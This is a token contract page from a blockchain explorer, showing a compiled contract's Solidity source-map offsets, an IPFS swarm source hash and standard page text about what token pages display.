::0;;12976:1:0::1;12946:27:::0;:31;-1:-1:-1;12633:356:0::1;13006:16;::::0;::::1;::::0;;;::::1;13047:15;13035:9;:27:::0;4862:8;:16;;-1:-1:-1;;4862:16:0;;;12253:817::o;13598:157::-;13716:4;;13679;;-1:-1:-1;;;;;13703:17:0;;;13716:4;;13703:17;:44;;;;-1:-1:-1;13734:13:0;;-1:-1:-1;;;;;13724:23:0;;;13734:13;;13724:23;13703:44;13696:51;13598:157;-1:-1:-1;;;13598:157:0:o;10752:904::-;10850:28;;;;;;;;;10872:6;10850:28;;;;;;;;;10831:7;;10897:21;10929:117;;;;10966:68;;;;;;;;11003:14;;10994:6;:23;;;;:::i;:::-;10970:7;:20;:48;;;;:::i;:::-;10966:68;;11020:13;;10966:68;;;;;10955:79;-1:-1:-1;10929:117:0;11093:21;;11058:23;;11117:3;;11084:30;;:6;:30;:::i;:::-;:36;;;;:::i;:::-;11058:62;;11131:16;11176:3;11159:8;:14;;;11150:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;11131:48;-1:-1:-1;11195:22:0;;11192:96;;11270:18;11232;:34;;;:56;;;;;;;:::i;:::-;;;;-1:-1:-1;;11192:96:0;11304:15;;11301:75;;11365:11;11334:18;:27;;;:42;;;;;;;:::i;:::-;;;;-1:-1:-1;;11301:75:0;11389:21;11413:32;11434:11;11413:18;:32;:::i;:::-;11474:4;11458:22;;;;:7;:22;;;;;:42;;11389:56;;-1:-1:-1;11389:56:0;;11458:22;;;:42;;11389:56;;11458:42;:::i;:::-;;;;-1:-1:-1;;11514:20:0;;11511:78;;11541:48;;1361:25:1;;;11565:4:0;;-1:-1:-1;;;;;11541:48:0;;;;;1349:2:1;1334:18;11541:48:0;;;;;;;11511:78;11622:25;11631:16;11622:6;:25;:::i;:::-;11614:34;10752:904;-1:-1:-1;;;;;;;;;10752:904:0:o;11664:581::-;11829:16;;;11843:1;11829:16;;;;;;;;11728:7;;11773:21;;11728:7;;11829:16;;;;;;;;;;;;-1:-1:-1;11829:16:0;11805:40;;11874:4;11856;11861:1;11856:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11856:23:0;;;:7;;;;;;;;;;:23;;;;11900:6;;:13;;;-1:-1:-1;;;11900:13:0;;;;:6;;;;;:11;;:13;;;;;11856:7;;11900:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11890:4;11895:1;11890:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11890:23:0;;;:7;;;;;;;;;:23;11958:6;;11926:53;;11943:4;;11958:6;11967:11;11926:8;:53::i;:::-;11992:6;;:187;;-1:-1:-1;;;11992:187:0;;-1:-1:-1;;;;;11992:6:0;;;;:57;;:187;;12064:11;;11992:6;;12106:4;;12133;;12153:15;;11992:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12222:14;12198:21;:38;;;;:::i;:::-;12190:47;11664:581;-1:-1:-1;;;;11664:581:0:o;13078:512::-;13191:6;;13159:53;;13176:4;;-1:-1:-1;;;;;13191:6:0;13200:11;13159:8;:53::i;:::-;13256:6;;13227:24;;-1:-1:-1;;;;;13256:6:0;:22;13287:9;13321:4;13341:11;13227:24;;13399:7;1163;1190:6;-1:-1:-1;;;;;1190:6:0;;1117:87;13399:7;13421:15;13256:191;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;13225:222:0;-1:-1:-1;13503:1:0;;-1:-1:-1;13472:28:0;13225:222;13472:9;:28;:::i;:::-;:32;13468:114;;;13519:63;13553:28;13565:16;13553:9;:28;:::i;:::-;13527:13;;-1:-1:-1;;;;;13527:13:0;;671:6;646:21;:31;;638:73;;;;-1:-1:-1;;;638:73:0;;11256:2:1;638:73:0;;;11238:21:1;11295:2;11275:18;;;11268:30;11334:31;11314:18;;;11307:59;11383:18;;638:73:0;11054:353:1;638:73:0;725:12;743:9;-1:-1:-1;;;;;743:14:0;765:6;743:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;724:52;;;795:7;787:78;;;;-1:-1:-1;;;787:78:0;;11824:2:1;787:78:0;;;11806:21:1;11863:2;11843:18;;;11836:30;11902:34;11882:18;;;11875:62;11973:28;11953:18;;;11946:56;12019:19;;787:78:0;11622:422:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2760:180::-;2819:6;2872:2;2860:9;2851:7;2847:23;2843:32;2840:52;;;2888:1;2885;2878:12;2840:52;-1:-1:-1;2911:23:1;;2760:180;-1:-1:-1;2760:180:1:o;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3561:127::-;3622:10;3617:3;3613:20;3610:1;3603:31;3653:4;3650:1;3643:15;3677:4;3674:1;3667:15;3693:128;3760:9;;;3781:11;;;3778:37;;;3795:18;;:::i;3826:356::-;4028:2;4010:21;;;4047:18;;;4040:30;4106:34;4101:2;4086:18;;4079:62;4173:2;4158:18;;3826:356::o;4187:251::-;4257:6;4310:2;4298:9;4289:7;4285:23;4281:32;4278:52;;;4326:1;4323;4316:12;4278:52;4358:9;4352:16;4377:31;4402:5;4377:31;:::i;4752:607::-;-1:-1:-1;;;;;5111:15:1;;;5093:34;;5158:2;5143:18;;5136:34;;;;5201:2;5186:18;;5179:34;;;;5244:2;5229:18;;5222:34;;;;5293:15;;;5287:3;5272:19;;5265:44;5073:3;5325:19;;5318:35;;;;5042:3;5027:19;;4752:607::o;5364:306::-;5452:6;5460;5468;5521:2;5509:9;5500:7;5496:23;5492:32;5489:52;;;5537:1;5534;5527:12;5489:52;5566:9;5560:16;5550:26;;5616:2;5605:9;5601:18;5595:25;5585:35;;5660:2;5649:9;5645:18;5639:25;5629:35;;5364:306;;;;;:::o;5675:125::-;5740:9;;;5761:10;;;5758:36;;;5774:18;;:::i;9410:168::-;9483:9;;;9514;;9531:15;;;9525:22;;9511:37;9501:71;;9552:18;;:::i;9583:217::-;9623:1;9649;9639:132;;9693:10;9688:3;9684:20;9681:1;9674:31;9728:4;9725:1;9718:15;9756:4;9753:1;9746:15;9639:132;-1:-1:-1;9785:9:1;;9583:217::o;9937:127::-;9998:10;9993:3;9989:20;9986:1;9979:31;10029:4;10026:1;10019:15;10053:4;10050:1;10043:15;10069:980;10331:4;10379:3;10368:9;10364:19;10410:6;10399:9;10392:25;10436:2;10474:6;10469:2;10458:9;10454:18;10447:34;10517:3;10512:2;10501:9;10497:18;10490:31;10541:6;10576;10570:13;10607:6;10599;10592:22;10645:3;10634:9;10630:19;10623:26;;10684:2;10676:6;10672:15;10658:29;;10705:1;10715:195;10729:6;10726:1;10723:13;10715:195;;;10794:13;;-1:-1:-1;;;;;10790:39:1;10778:52;;10885:15;;;;10850:12;;;;10826:1;10744:9;10715:195;;;-1:-1:-1;;;;;;;10966:32:1;;;;10961:2;10946:18;;10939:60;-1:-1:-1;;;11030:3:1;11015:19;11008:35;10927:3;10069:980;-1:-1:-1;;;10069:980:1:o

Swarm Source

ipfs://574ce1945c2dd07f317731217a34d1b8e8f57eceb7d32deb281cab99cfb7b3db
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.